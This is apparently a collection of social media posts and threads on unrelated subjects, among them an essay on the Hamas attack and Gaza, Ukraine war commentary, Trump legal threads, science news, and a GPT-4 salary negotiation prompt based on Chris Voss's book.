I'm sorry to say that while the blood on the ground is fresh. The Israelis who were killed in this attack largely have nothing to do with those conditions other than being born at a time when Israel and Jews have the upper hand in this conflict. Some of the victims weren’t even Israeli — they were just tourists. This is why we describe them as “innocent” and why Hamas has only reaffirmed that they are a brutal terror organization with this attack — an organization that I hope is quickly toppled, for the sake of both the Palestinian people and the Israelis. But as someone with a deep love for Israel, with friends in danger and people I know still missing, it breaks my heart to say it but I'm saying it again because it remains perhaps the most salient point of context in a tangled mess full of centuries of context:
You cannot keep two million people living in the conditions people in Gaza are living in and expect peace.
You can't. And you shouldn’t. Their environment is antithetical to the human condition. Violent rebellion is guaranteed. Guaranteed. As sure as the sun rising.
And the cycle of violence seems locked in to self-perpetuate, because both sides see a score to settle:
1) Israel has already responded with a vengeance, and they will continue to. Their desire for violence is not unlike Hamas’s — it’s just as much about blood for blood as any legitimate security measure. Israel will “have every right to respond with force." Toppling Hamas — a group, by the way, Israel erred in supporting — will now be the objective, and civilian death will be seen as necessary collateral damage. But Israel will also do a bunch of things they don't have a right to. They will flatten apartment buildings and kill civilians and children and many in the global community will probably cheer them on while they do it. They have already stopped the flow of water, electricity, and food to two million people, and killed dozens of civilians in their retaliatory bombings. We should never accept this, never lose sight that this horror is being inflicted on human beings. As the group B’Tselem said, “There is no justification for such crimes, whether they are committed as part of a struggle for freedom from oppression or cited as part of a war against terror.” I mourn for the innocents of Palestine just as I do for the innocents in Israel. As of late, many, many more have died on their side than Israel's. And many more Palestinians are likely to die in this spate of violence, too.
Unfortunately, most people in the West only pay attention to this story when Hamas or a Palestinian in Gaza or the West Bank commits an act of violence. Palestinian citizens die regularly at the hands of the Israeli military and their plight goes largely unnoticed until they respond with violence of their own. Israel had already killed an estimated 250 Palestinians, including 47 children, this year alone. And that is just in the West Bank.
2) Every single time Israel kills someone in the name of self-defense they create a handful of new radicalized extremists who will feel justified in wanting to take an Israeli life in retribution sometime in the future. Half of Gaza’s two million people are under the age of 19 — they know little besides Hamas rule (since 2006), Israeli occupation, blockades, and rockets falling from the sky. The suffering of these innocent children born into this reality is incomprehensible to me. They will suffer more now because of Hamas’s actions and Israel’s response, all through no fault of their own.
There is no way out of this pattern until one side exercises restraint or leaders on both sides find a new solution. Israelis will tell you that if Palestinians put their guns down then the war would end, but if Israel put their guns down they'd be wiped off the planet. I don't have a crystal ball and can’t tell you what is true. But what I am certain of is that every time Israel kills more innocents they engender more rage and hatred and recruit more Palestinians and Arabs to the cause against them. There is no disputing this.
So, why did this happen now?
I'm not sure how to answer that question except to say it was bound to happen eventually. It was a massive policy and intelligence failure and Netanyahu should pay the price politically — he is a failed leader. Iran probably helped organize the attack and the money freed up by the Biden administration's prisoner swap probably didn't help the situation, either. Israel's increasingly extremist government and settlers provoking Palestinians certainly didn't help. Nor has going to the Al-Aqsa mosque and desecrating it. Nor do blockades and bombings and indiscriminate subjugation of a whole people. Nor does refusing to talk to non-terrorist leaders in Palestine. Nor does illegally continuing to expand and steal what is left of Palestinian land, as many Jews and Israelis have been doing in the 21st century despite cries from the global community to stop. A violent response was predictable — in fact, plenty of people did predict it.
Israel is forever stuffing these people into tinier and tinier boxes with fewer and fewer resources. But if you want to blame Israeli leaders for continuing to expand and settle land that does not belong to them (as I do), then you should also spare some blame for Palestinian leaders for repeatedly not accepting a partitioned Israel during the 20th century that could have led to peace (as I do).
Please also remember this: Hamas is still an extremist group. The Palestinian people do not have a government or leaders who legitimately represent their interests, and it sure as hell isn't Hamas. Will some Palestinians cheer and clap at the dead, or spit on them as they are paraded through Gaza? Yes they will. And they have. Many will also mourn because they loathe Hamas and know this will only make things worse. This is no different than how some Americans cheer at the dead in every single war we've ever fought. It's no different than the Israelis who set up lawn chairs to watch their government bomb Palestine and cheer them on, too. This doesn't mean Palestinians or Israelis or Americans are evil — it means some of them are giving in to their violent impulses, and their zealous feelings of righteous vengeance.
Solutions, you ask? I can’t say I have any. If you came here for that, I’m sorry. The two-state solution looks dead to me. A three-state solution makes some sense but feels out of the view of all the people who matter and could make it happen. I wish a one-state solution felt realistic — a world of Israelis and Arabs and Muslims and Jews living side by side with equal rights, fully integrated and defused of their hate, is a version of Israel that I would adore. But it seems less and less realistic with every new act of violence.
Am I pro-Israel or pro-Palestine? I have no idea.
I'm pro-not-killing-civilians.
I'm pro-not-trapping-millions-of-people-in-open-air-prisons.
I'm pro-not-shooting-grandmas-in-the-back-of-the-head.
I'm pro-not-flattening-apartment-complexes.
I'm pro-not-raping-women-and-taking-hostages.
I'm pro-not-unjustly-imprisoning-people-without-due-process.
I'm pro-freedom and pro-peace and pro- all the things we never see in this conflict anymore.
Whatever this is, I want none of it.
Thoughtful and wise from an Israeli war correspondent @EfratLachter :
It is a nightmare.
…
Israel is a very small place, and we know of friends who are missing, or who have been injured, and we are terrified that soon we will start hearing of people we know who lost their lives.
The videos circling on social media remind me of the war crimes I witnessed ISIS commit. They are streaming the horrors for the world to see, and my people are recognizing their loved ones in the most horrible way one can imagine.
….We are no Saints for sure. I wish, as many of my friends do, that there was a two-state solution a long time ago. The Palestinians deserve to have a country.
But conflicts are messy. Complicated. Hard to explain. No coincidence I made my career trying to show that.
What I find hard for people to understand is that the ongoing conflict is not against the Palestinians as people and that Gaza and the West Bank are two separate fronts.
In Gaza, the leadership is from Hamas, a terrorist group and not a legitimate government. They have murdered violated and kidnapped civilians today and in the past. They have terrorized their people.
…Gaza is one of the worst places on this planet to live in. But it's not because of Israel. We withdrew from Gaza in 2005 (unlike the West Bank). In 2007, Hamas won a democratic election in Gaza. They selected a terror group. Many Palestinians told me it was the biggest mistake they ever made. If only we could turn back time.
Since 2007, thousands of rockets have been launched from Gaza to Israel. In the south of the country, people got “used” to living under constant shelling. Iron Dome made it possible to live, but still, you have to get to a shelter in about 20 seconds, or else. This is the daily routine. Could you imagine living that way? Raising your kids in such a fragile reality?
Note the following:
1. AFU thermal night vision drone
2. Three Grenades dropped
3. 7 of 11 RuAF soldiers are casualties
4. Zero AFU losses
The drone that did this likely cost below $10,000.
Drone economic barriers to entry🧵
1/
#UkrOffensive2023ZAP #1pageassessukrwar
Agree with @TrentTelenko ; that Russia has wrecked their stronger formations (Spetsnaz, VDV, Naval Infantry and Armor) and they are NOT replaceable in short or medium turn.
Sure, Putin will continue to keep the name of the formations...and give them guards status (you do NOT want to be in a formation that Putin awards guard status to...that means his and MoD mismanagement helped destroy it)... and refill with untrained, ill equipped mobiks - who are poorly motivated and led.
Just a sampling of a few of the formerly "elite" formations destroyed by the Putin, Shoigu and General braintrust - with an assist for AFU 😀
As Jack Smith revealed 3 more witnesses against Trump in his DC lawsuit, on Friday eve, this is witness lineup for prosecution
Vice President Mike Pence
Chief of Staff Mark Meadows
Attorney General Bill Barr
Joint Chiefs of Staff, General Milley
White House Counsel Patsy Baloney https://t.co/FgcT0aoO7y
I considered moving out of the USA.
After some research, I realized leaving is stupid.
There is no chance the USA will stop being the global superpower.
And the best country for opportunity.
The reason surprised me:
⬇️
Flippant Thread/1
So Scott Hall flipped against the Trumpomobsters in Georgia. Good for AG Fani Willis, she has her first conviction of the 19 perps in this conspiracy. Flipper Down The Hall will testify against the other 18. Let's do a Thread about everybody's favorite mammal https://t.co/PYOyNzui6E
Armenian diaspora propagandists truly piss me off today!
They blame the US and EU for the fate of Karabakh Armenians, WHEN IT WAS the diaspora and the Karabakh Armenian leaders, who refused 4x (!) US/EU peace plans and 2 (!) Western guaranteed autonomy offers.
Now let's do a bit on Trump losing his business, ie the Engoron judge decision to dissolve Trump Org from Tuesday. This is one of biggest news items we awaited, as Trump starts to face justice, and his worst news of his life so far, but much worse news is coming in next months https://t.co/WDKUhmimvQ
Why would photons decay if the speed of light wasn't the speed limit?
Remember:
Everything wants to decay in quantum field theory. You need a symmetry to *stop it* from decaying.
Lorentz symmetry protects the photon from decaying.
You can show that in a few tweets:
1/7 https://t.co/KDsisqnmZr
The Komodo dragon is the largest extant species of lizard & can eat up to 80% of its body weight in one meal
While it mostly eats carrion, the view of a goat that gets swallowed in one bite is truly impressive
[📹 Ngasu Media]
https://t.co/ExQfjIjNV3
Twin Lagoon, Coron, Philippines is made up of two bodies of water separated by stunning limestone cliffs with the most outstanding geological features of the region
[📹 Paul Nunez / pikeitup07]
https://t.co/ctIERB5WuM
In today's #vatniksoup, I'll discuss about one of the less-known events of the Russo-Ukrainian War: the 2014 Odessa clashes.
It's often used by pro-Kremlin propagandists to prove that the "neo-Nazis" in Ukraine were "persecuting" the Russian-speaking population in Ukraine.
1/22 https://t.co/57npGEXUvS
This beaver was orphaned and rescued as a newborn,
Watch the incredible instinct to build a dam, even though it’s never seen its parents build one.. https://t.co/qPswBZOojd
After posting my GPT-4 negotiation prompt, I got a lot of requests for a salary negotiation prompt.
This new prompt emulates @fbinegotiator to help you in your salary negotiations.
It's long, but incredibly useful:
---
You are Chris Voss, a negotiation expert with a proven track record of achieving win-win outcomes. Your approach is analytical, data-driven, and deeply empathetic. Your goal is to negotiate a higher salary by exploring various options and strategies for your client. After analyzing these options, you will recommend the most favorable approach to achieve mutual benefits.
Here is a summary of your book, "Never Split the Difference", to remind you of your principles.
```
** Email Magic **
Subject Line: Have you given up on this project?
** That's Right **
Good: That’s Right
Bad: Yes, You’re Right
Summary to trigger That's Right
Trigger That’s Right with a Summary:
- Effective Pauses encourage the counterparty to keep talking
- Minimal Encouragers: Yes, OK, Uh-Huh, I see → show I’m paying full attention
- Mirroring: Listen & repeat back
- Labeling: Give feelings a name & identify with how they feel
- Paraphrase: Repeat in my own words to show I’m really understanding
- Summarize: Re-articulate meaning of what is said + acknowledgment of the emotions = Paraphrase + Labeling
** Never Split the Difference **
Leads to a bad outcome for both sides, eg 1 black + 1 brown shoe
** Deadlines **
Deadlines make people do impulsive things
Resist the urge to rush as a deadline approaches
Take advantage of the rush in others
Share my deadlines: information asymmetry is the worse for me
Three uses of Fair
- Defensive move: We just want what’s fair
- Nefarious accusation: We’ve given you a fair offer
- Positive: I want you to feel like you are being treated fairly at all times. So please stop me at any time if you feel I’m being unfair and we’ll address it
** Extreme Anchor **
Bend counterpart’s reality by anchoring the starting point
Before making offer, emotionally anchor by saying how bad it will be
Set an extreme anchor to make my real number seem reasonable
Use a range to seem less aggressive
** Loss Aversion **
People will take more risks to avoid a loss than realize a gain
Make sure my opponent sees there is something to lose by inaction
** Bend their Reality **
- Anchor their emotions: Start with an accusation audit acknowledging all their fears. Anchor them in preparation for a loss
- Let the other party suggest a price first. Especially if neither party knows true market value. Consider alternatives if other party is a shark or a rookie
- Establish a bolstering range: Recall a similar deal. Range high so people will naturally want to satisfy the low end of my range
- Pivot to non-monetary terms: Give things that are not important. Get things that are. Suggest ideas to stimulate brainstorming
- Use odd numbers: Don’t use round numbers
- Surprise with a gift: Generate reciprocity by giving unrelated surprise gifts
** Calibrated Questions **
The listener has control of the conversation
Goal is to suspend unbelief → calibrated questions to ask for help
Don’t use: Can, Is, Are, Do, Does
Avoid: questions that can be answered with Yes or tiny pieces of information
Start every question with what, how (& sometimes but rarely why)
Only use why when defensiveness it creates is in my favor: Why would you ever change from the way you’ve always done things and try my approach?
You can’t leave → What do you hope to achieve by going?
Avoid angry emotional reactions
Phrases to use
What makes you ask?
What about ____ is important to you?
How can I help make this better for us?
How would you like me to proceed?
What is it that brought us into this situation?
How can we solve the problem?
What’s the objective / What are we trying to accomplish here?
How am I supposed to do that?
** How **
Yes is nothing without How
Calibrated how? Questions help guarantee execution
Look for That’s Right
Don’t settle for I’ll try, You’re Right → Those mean I plan to fail
Phrases to use
How am I supposed to do that?
How will we know we’re on track?
How will we address things if we find we’re off track?
Influence those behind the table
How does this affect the rest of your team?
How on board are the people not on this call?
What do your colleagues see as their main challenges in this area?
** 7-38-55 **
7% content < 38% tone of voice < 55% body language & face
Fly great distances to meet people in person
Pay close attention to tone & body language. See if they don’t match up with literal meaning of words
Use labels to discover source of the incongruence:
I heard you say ‘Yes’ but it seemed like there was a hesitation in your voice
No, this is important. Let’s make sure we get this right
** Rule of Three **
Get them to say yes 3 times
- Get them to give me a commitment
- Label + summarize → get a That’s Right
- Calibrated How or What questions about implementation. Ask what will constitute success: What do we do if we get off track?
** Spotting Liars **
Liars...
- Use more words than truth tellers
- Talk about him, her, it, one, they and their. Rarely I → distance from the lie
- Speak in more complex sentences (to cover up the lie)
** Spot Decision Makers **
Watch pronouns
- I, me, my → less important in the decision of the outcome
- We, they, them → actual decision maker leaving options open
Use my own name
My name is Yanda
What’s the Yanda discount?
** Saying No 4 Times **
How am I supposed to do that?
Your offer is very generous. I’m sorry that just doesn’t work for me
I’m sorry but I’m afraid I just can’t do that
I’m sorry, no
Use mirroring and open-ended questions in between. Empathize 3x:
That’s very generous of you
That price is more than fair
Thank you for taking the time to talk to me
** Types of Negotiators **
Analyst: Acquiring facts & info > making a deal
Time = Preparation
Silence = Opportunity to think
Methodical & diligent. Hates surprises.
Self-imaged tied to minimizing mistakes
Prefers to work on their own
Reserved problem solver
Information aggregator
Skeptical by nature
May appear to agree when just agreeing to think about it
Doesn’t like calibrated questions
Apologies have little value
Hypersensitive to reciprocity
Get gift first = it must be a trap
Give first = you must reciprocate
Tools: labels, specifically to compare analysis,
Use data to drive my reason, no ad-lib
Use data comparisons to disagree
Worst-type match: Assertive
Accommodator: Building relationship > making a deal
Time = Relationship
Silence = Anger
Communicating → happy
Sociable, peace-seeking, optimistic, distractible, poor time managers
Watch tone & body language → hesitancy won’t come in words
Risk: may overpromise, agree to give you something they can’t actually deliver
Tools: What & How calibrated questions focused on implementation
Worst-type match: Accommodator
Assertive: Being heard > making a deal
Time = Money
Silence = Opportunity to speak more
Getting solution perfect is less important than getting it done
Loves winning above all else
Most likely to get tunnel-vision. Focus on goal → miss opportunities to explore Emotions = bad
Negotiation = intellectual sparring
Focus first on what they have to say. Once they are convinced I understand them, only then will they listen
Tools: calibrated questions, labels, and summaries. Get a that’s right
Be careful with reciprocity (give an inch → take a mile)
Wost-type match: Analyst
** Deflect the Punch **
Counterparty will start with an extreme anchor. Get ready to deflect the punch
By saying “no” : How am I supposed to do that?
By deflecting the anchor: What are we trying to accomplish here?
Pivot to terms: detour to non-monetary issues:
Let’s put price off to the side for a moment & talk about what would make this a good deal?
What else would you be able to offer to make that a good price for me?
Respond with your own extreme anchor
** Strategic Umbrage **
I don’t see how that would ever work
** I statements **
I feel _____ when you _____ because ____ .
** Ackerman Bargaining **
1. Set target price
2. Plan your offers
Buyer: 65% → 85% → 95% → 100%
Seller: 135% → 115% → 105% → 100%.
3. At final offer add non-monetary item to show that I’m at my limit
Use an Accusations Audit to pre-empt the first offer to take the edge off
You’re going to think I haven’t done my homework
You’re going to feel insulted by my offer
I’m embarrassed to tell you my offer
Use lots of empathy and ways of saying No in between to get other to counter before I increase my offer
Use precise, non-round, odd numbers
** Black Swans **
3 Black Swans in every negotiation
Every negotiation is new → don’t let old patterns blind me
Always ask myself: Why are they communicating what they are communicating right now
** 3 Types of Leverage **
Positive Leverage: I have something they want
Negative Leverage: My ability to make my counterpart suffer
More powerful because of loss aversion
To use, first find what is important to them:
Who is their audience?
What signifies status and reputation to them?
What most worries them?
Identify with labels: It seems you strongly value the fact that you’ve always been paid on time
Normative Leverage: Using the other party’s norms to advance my position
Show inconsistencies between their beliefs and their actions
No one likes to look like a hypocrite
To discover norms: Ask what my counterpart believes in and listen openly
See what language they speak and speak it back to them
Listen, listen, listen
Review everything I hear. Double check
Use backup listeners whose only job is to listen between the lines
Compare notes with team members to discover new information
** Similarity Principle **
People trust those who are in their in group
Look at and mirror attitudes, beliefs, ideas, and even modes of dress
** Power of hopes & dreams **
Visualize what counterpart wants out of life → use those aspirations to get them to follow
Everyone wants to believe that we are capable of the extraordinary
Display a passion for what my counterpart has always wanted and convey a purposeful plan on how to get there → changes my counterpart’s perception of what is possible to change
We are all hungry for a map to joy → be courageous enough to draw it and others will follow
** … because ... **
People respond favorably to requests made in a reasonable tone of voice and followed by a because reason (even if the reason isn’t great)
** Not crazy **
People acting crazy are often not. Instead, counterpart:
- is Ill Informed: has incomplete or different information to me
- is Constrained: may not have power to close the deal
- has Other Interests: hidden interests that justify his behavior
** Get Face Time **
Get face time
Observe unguarded moments
- First few minutes before you get down to business
- Last few moments as everyone is leaving
- Interruptions, odd exchanges, etc…
When something doesn’t make sense, there’s an opportunity. Dig in!
** Negotiation One-Sheet **
The Goal: specific scenario that represents best case
- Set optimistic but reasonable goal & define it clearly
- Write it down
- Discuss my goal with a colleague (commitment & consistency)
- Carry the written goal into the negotiation
Summary: Couple of sentences about the known facts that have led up to the negotiation. Aim for That’s Right in response
Labels / Accusation Audit: 3-5 labels to perform an accusation audit
- It seems like ____ is valuable to you
- It seems like you don’t like ____.
- It seems like you value ____.
- It seems like ____ makes it easier.
- It seems like you’re reluctant to ____.
Calibrated questions: 3-5 to reveal value & overcome potential deal killers
- For my counterpart:
- What are we trying to accomplish?
- How is that worthwhile?
- What’s the core issue here?
- How does that affect things?
- How does this fit into what the objective is?
- To identify behind-the-table deal killers
- How does this affect the rest of your team?
- How on board are the people not on this call?
- What do your colleagues see as their main challenges in this area?
- To identify and diffuse deal-killing issues
- What are we up against here?
- What is the biggest challenge you face?
- How does making a deal with us affect things?
- What happens if you do nothing?
- What does doing nothing cost you?
- How does making this deal resonate with what your company prides itself on?
Follow up with labels to their answers to the calibrated questions:
- It seems ____ is important.
- It seems you feel like my company is in a unique position to ____.
- It seems you are worried that ____.
Non-cash offers: list of non-cash items possessed by my counterpart that would be valuable?
- What could they give me that would make me do this for free?
```
Here is the format to respond with:
```
## Background Information
$background_information
## Salary Negotiation Overview
$salary_negotiation_overview
## Stakeholders and Their Interests
$stakeholders_and_interests
## Understanding of Employer's Position
$employer_position
## Chris Voss Principle(s) 1
$principle_1
## Negotiation Strategy 1 (Informed by Principle 1)
$strategy_1
## Pros and Cons of Strategy 1
$pros_and_cons_1
## Chris Voss Principle(s) 2
$principle_2
## Negotiation Strategy 2 (Informed by Principle 2)
$strategy_2
## Pros and Cons of Strategy 2
$pros_and_cons_2
## Chris Voss Principle(s) 3
$principle_3
## Negotiation Strategy 3 (Informed by Principle 3)
$strategy_3
## Pros and Cons of Strategy 3
$pros_and_cons_3
## Analysis
Strategy 1 Analysis
$strategy_1_analysis
## Strategy 2 Analysis
$strategy_2_analysis
## Strategy 3 Analysis
$strategy_3_analysis
## Possible Obstacles and How to Overcome Them
$possible_obstacles
## Additional Possible Strategy (Informed by other Chris Voss Principles)
$additional_possible_strategy
## Recommendation
$recommendation
## Follow-Up Actions
$follow_up_actions
## Salary Negotiation Scripts/Talking Points
$salary_negotiation_scripts
## Contingency Plan
$contingency_plan
```
The "Salary Negotiation Scripts/Talking Points" section will provide the client with specific language to use during their negotiation, making the advice more actionable. The "Contingency Plan" section will help the client prepare for unexpected outcomes, making the advice more adaptable to real-world scenarios.
---
This is the way to unlock the next trillion high-quality tokens, currently frozen in textbook pixels that are not LLM-ready.
Nougat: an open-source OCR model that accurately scans books with heavy math/scientific notations. It's ages ahead of other open OCR options. Meta is doing extraordinary open-source AI, sometimes without as much fanfare as Llama.
My first serious AI research project (back @Columbia, 2012) was to convert chemical engineering PDFs into NLP-ready corpus. I still remember the immense pain of Tesseract, a much older OCR system (https://t.co/1wsKiVaP8f).
Now Nougat runs a powerful Swin Transformer backbone and blows the benchmarks out of the water. We're talking about double-digit improvements across all metrics.
Now, textbooks are all we need for the next GPT!
Website: https://t.co/bzW8XeNfYB
Open-source code: https://t.co/MY3ZhmCbX1
Paper "Nougat: Neural Optical Understanding for Academic Documents": https://t.co/3kuDICdEVE
I’m reading the Musk biography, and it’s a real rags-to-riches story! When 23-year-old Elon dropped out of graduate school and told his parents he wanted to start a business, they instantly gave him $77,500 (in 2023 dollars), a car, and a credit card. And somehow he made it work!
The way that Jensen Huang runs Nvidia is wild:
40 direct reports, no 1:1s
- Believes that the flattest org is the most empowering one, and that starts with the top layer
- Does not conduct 1:1s - everything happens in a group setting
- Does not give career advice - "None of my management team is coming to me for career advice - they already made it, they're doing great"
No status reports, instead he "stochastically samples the system"
- Doesn't use status updates because he believes they are too refined by the time they get to him. They are not ground truth anymore.
- Instead, anyone in the company can email him their "top five things" with whatever is top of mind, and he will read it
- Estimates he reads 100 of these everyone morning
Everyone has all the context, all the time
- No meetings with just VPs or just Directors - anyone can join and contribute
- "If you have a strategic direction, why tell just one person?"
- "If there is something I don't like, I just say it publicly"
- "I do a lot of reasoning out loud"
No formal planning cycles
- No 5 year plan, no 1 year plan
- Always re-evaluating based on changing business and market conditions (helpful when AI is developing at the pace that it is)
This org is optimized for (1) attracting amazing people, (2) keeping the team as small as it can be, and (3) allowing information to travel as quickly as possible
1/ Mobilised Russian soldiers fighting near Bakhmut have recorded a video complaining about the brutal and incompetent behaviour of their commander. They reject orders to execute comrades refusing to fight and abandon the wounded, who they say are not being evacuated. ⬇️ https://t.co/oBAx1wXFVW
Darwinian gastronomy. We evolved to like spices because they have antimicrobial properties, thus, reducing food poisoning, especially in hot climates
[full paper: https://t.co/KnPIr0Wxlb] https://t.co/Vv09ebuxtT
Russian journalists Anna politkovskaya, Stanislav Markelov, Natalya Estemirova. Grozny 2005. All of them were assassinated. This is how Russia operates and what Russia is trying to export.
Photo credit: gulagu[.]net https://t.co/FdLsB7vRdN
As a new officer at my first SEAL Team, I told the Master Chief that it made me uncomfortable when he called me "sir".
He literally had more years in combat than I had months as a SEAL.
He chuckled and smiled, understanding, and stopped me in my fucking tracks:
MEADOWS THREAD
So Marky Malarkey the Trumposparky confessed to premediated election fraud by Team Trump in Georgia. Meadows threw Trump under the bus on Monday to federal court. All this without pleading the 5th. What does this all mean, tell us, oh T Dawg, ye of numbers & facts https://t.co/diAgsdfbdf
I'm sick of pro-Russians saying that 'Crimea is intrinsically Russian'.
(Thread 1/)
So let's take a look at just how 'Russian' Crimea is... and how it came to be that way.
---
Crimea's original population was NOT Russian, of course.
The idea that Crimea's population was 'always Russian' is absolutely ridiculous - and is an absolute lie as well.
Crimea's original population were Crimean Tatars - most of whom are now extinct.
This is their story.
Rather than a static canvas, Johannes Stötter transfers his art onto live models, bringing his artworks to life with each brush stroke, and creating optical illusions with his body painting techniques. This is a butterfly
[more: https://t.co/eXnBbaPwtX]
https://t.co/bfjjLUpmMk
The Hybrid Air Vehicles Airlander 10, initially known as the HAV 304, is a hybrid airship crafted by the British company Hybrid Air Vehicles (HAV). This unique aircraft features a helium airship structure along with supplementary wing and tail components. It utilizes a combination of aerostatic and aerodynamic lift principles for flight and is driven by four ducted propellers powered by diesel engines.
The 5th tallest statue in the world, Sendai Daikannon in Japan. The city of Sendai (pop. 1 million) in the Töhoku region of Japan has an instantly recognizable skyline, thanks to the massive Sendai Daikannon statue that stands on a hill to the north of the city center. Daikannon is the representation of the Japanese Buddhist Bodhisattva, the Goddess of Mercy, and it is large. Towering 328 feet or 100 meters into the heavens, the statue was the largest in the world when it was completed in 1991. It was replaced at the top spot by another Japanese statue, the Ushiku Daibutsu in 1993. An elevator takes visitors to the top of Sendai Daikannon, where a series of windows offer stunning views across the city. Apart from the views, the statue is also a place of worship and reflection. Though currently ranked 5th tallest in the world, it is still the tallest statue of a Goddess in Japan.
In case you don’t read to the end of the abstract, @WilliamBaude and Professor Paulsen say that Donald Trump is, right now, disqualified from being President.
Ukrainian mathematician Maryna Viazovska has won the Fields Medal, a Nobel Prize for mathematics. She is the second woman ever to receive the medal. Maryna solved a 400-year-old sphere packing problem.
Today she is teaching at a math summer school at our university KSE 1/ https://t.co/fkXljcLoxC
Holy carp, the successful fusion reaction experiment at Livermore Labs has been replicated, only this time with higher yield!
Gift article, no subscription required.
https://t.co/9QCCqcUkwO
Donald Trump getting indicted or convicted won't prevent him from serving as president again.
But he's already disqualified under the 14th Amendment. And we're preparing to enforce that Disqualification in court. https://t.co/SPnKwTpItj
"Burn Ukrainians with Solntsepyok (referring to the extremely deadly TOS-1A MLRS system)," this is what a Russian priests 'preaches' on Spas, a federal TV channel in Russia which is associated with the Russian Orthodox Church. https://t.co/uKAM1G5qQ9
A tragic story in two charts:
1) It never used to be the case, but there is now a big partisan gap for trust in science in the US. Republicans are now essentially the anti-science party, while Dems are stridently pro https://t.co/L7VcxAL8we
NASA's Asteroid mission is reborn! But this time with Starship, and a crew of three on a 150-day mission to a near-Earth asteroid.
https://t.co/NmT1h5RTQg https://t.co/ugd0m7xQIQ
Now - report in English.
In #Russia, the children's ombudswoman Lvova-Belova confirmed in a report that Russia had moved 700,000 children from Russian-occupied areas in #Ukraine to Russian territory.
This is #genocide.
1/2
https://t.co/vNgMu9fkHE
Your PhD is about the evolution of your mindset.
It proceeds through personal research experience, mentorship and development of key skills.
This is why PhD in STEM:
- is NOT about a thesis (very few people will read it)
- is NOT about finish your advisor’s project
- is NOT about attending new courses
- is NOT to learn how to use cool instruments (although it might be handy, it is of little help in a long run)
Yes, some of it will help you get hired. BUT PhD should not be about this.
▫️
PhD is about personal development, creativity and problem solving in a highly dynamic research environment.
First of all, it is about:
- Becoming a highly critical and creative thinker
- Learning how to think independently (against the local or global mainstream)
- Learning how to “jump-start” a project and bring it to perfection
- Discovering your strengths and weaknesses as a future leader
- Learning from massive number of mistakes without big consequences
- Learning how to accept failures and move on
- Understanding the value of teamwork and collaboration
- Publishing important studies and making discoveries (especially if you plan to stay in academia)
▫️
Of course, there are some “perks” that come with it:
1. Getting a good expertise in some field
2. Getting some idea about the world of academia and how things work there
3. Learning how to use fancy tools (microscopes, spectrometers, etc)
4. Learning how to write papers, etc etc
But these are only bonuses. They should not be why you are pursuing PhD.
▫️
As a prospective PhD student, do NOT look for a supervisor who will be simply assigning tasks to you and tracking your project.
Look for a good mentor and advisor who can help you develop YOUR leadership skills.
A proper research environment and inspiration to pursue your dreams are the key ingredients.
#AcademicTwitter #AcademicChatter #phdchat
Numerous reports from international human rights organizations prove that since the beginning of its full-scale invasion of Ukraine, #Russia has regularly deployed #cluster #bombs against Ukrainian civilians and Ukrainian civilian infrastructure. https://t.co/vX4HfJgb1B https://t.co/upWjOLjUQu
A year after the tragedy in Olenivka, where at least 50 Ukrainian prisoners of war were killed by shelling of the colony, the UN recognized that the explosions were not caused by HIMARS missiles (as Russian propaganda had claimed). https://t.co/uafYW4j6nM https://t.co/WWdCJLcBNE
To understand Musk's renewed obsession with X and focus on financial services, you REALLY need to understand the X/Confinity merger that became PayPal.
And, particularly, the Peter Thiel-led coup that kicked Musk out as CEO/Chief Strategist.
Here's how that happened. 1/🧵
Jack Smith Carpet Bombing Thread/1
I think I can see how Jack Smith plans to run the prosecution of Trump. I all this his carpet bombing strategy. Let me explain
In Jack Smith 1, Espionage, Florida federal - he only charged 2 people, Walt Nauta & Trump BUT foretold of more https://t.co/YhphkSSkqL
And this is why Koch Network organizations design and fund so many fake grassroots movements. The point of fake grassroots movements such as ‘Mom’s for Liberty,’ is to exhaust public school resources and drive teachers away, so that private schools become the only option. 10/x
TARGET LETTER THREAD/16
If you want my list of who else will DEFINITELY get a Target Letter about Jan 6th with Trump, it is:
Giuliani
Powell
Flynn
Byrne
Meadows
Eastman
Brooks
Babin
Biggs
Gaetz
Gohmert
Gosar
Harris
Hice
Jordan
Perry
Marjorie Three Names
All these go to prison https://t.co/EQSHxJ58y3
i have soooo many people saying my numbers are so far off and no way they can be true (ukr numbers for russian KIA) vs the 50-75K in ukr losses....
here is something to think about.....
how many col. (brigade commanders) have been killed by ru in ukraine??? and yes its public and can not be hidden due to the high rank....
1 that im finding Vitaliy Guliayev.....
i could be wrong and there may be another..... 1
on the other side this.... 64.
and its public information
Thread: Oppenheimer was central to the Manhattan Project’s success and was a phenomenal and inspiring leader, but no one man could have made it work and it’s important to remember that it was still very much a team endeavor. Here are a few people whose key ideas made it possible:
We mapped the connections between high order sensory inputs and memory cells in the octopus brain, first-ever reconstructed octopus memory circuit: data and principles of circuit assembly today in eLife https://t.co/LZCRr92ESG, joint work w/ @FlavieBidel @HebrewU& @Harvard,RT!👇 https://t.co/s6O8juj3k4
A mind-blowing paper has come out today in @Nature
In 2016, JC Venter Institute scientists trimmed a bacterial genome to its barest minimum required for life to synthesize what they called a "minimal genome" (https://t.co/Rk8oZJ0bUj).
Today, a group of scientists from Indiana University reports how that minimal genome evolved over 2000 generations in comparison to the non-minimal genome.
The authors found that even when you reduce a bacterial genome to its absolute minimum where every nucleotide matters, the genome undergoes mutational events generation after generation as much as the non-minimal genome. One simply cannot stop the evolution.
Just over 300 days of evolution (equivalent to 40,000 years in humans) the minimal cell has gained everything it lacked in fitness on day one in comparison to the non-minimal cell.
When comparing the evolved traits between the minimal and non-minimal cells, the scientists found something striking. The evolutionary process increased the cell size of non-minimal cells but not that of the minimal cell. But that is not the striking part.
The scientists were able to identify the key mutation that resulted in cell size evolution. And it turned out that the mutation that helped the non-minimal cells to grow bigger is the same that helped the minimal cells to stay smaller. Growing bigger had a survival advantage for non-minimal cells and not growing bigger had a survival advantage for minimal cells. So, the mutation had a context-dependent effect. This just demonstrates that the evolutionary effects on traits have no absolute direction. All that matter is what is beneficial for the organism's survival.
The conclusion of the paper is metaphorically a quote from the Jurassic Park movie:
“Listen, if there’s one thing the history of evolution has taught us is that life will not be contained. Life breaks free. It expands to new territories, and it crashes through barriers painfully, maybe even dangerously, but . . . life finds a way". (https://t.co/UlxRlb86CT)
https://t.co/zA9OAqSoAu
It’s time to suspend Hungarian membership rights for serious and persistent breaches of the principles of the European Union. Here is the framework and law on how that is done.
👉Please retweet if this is of interest to you👈
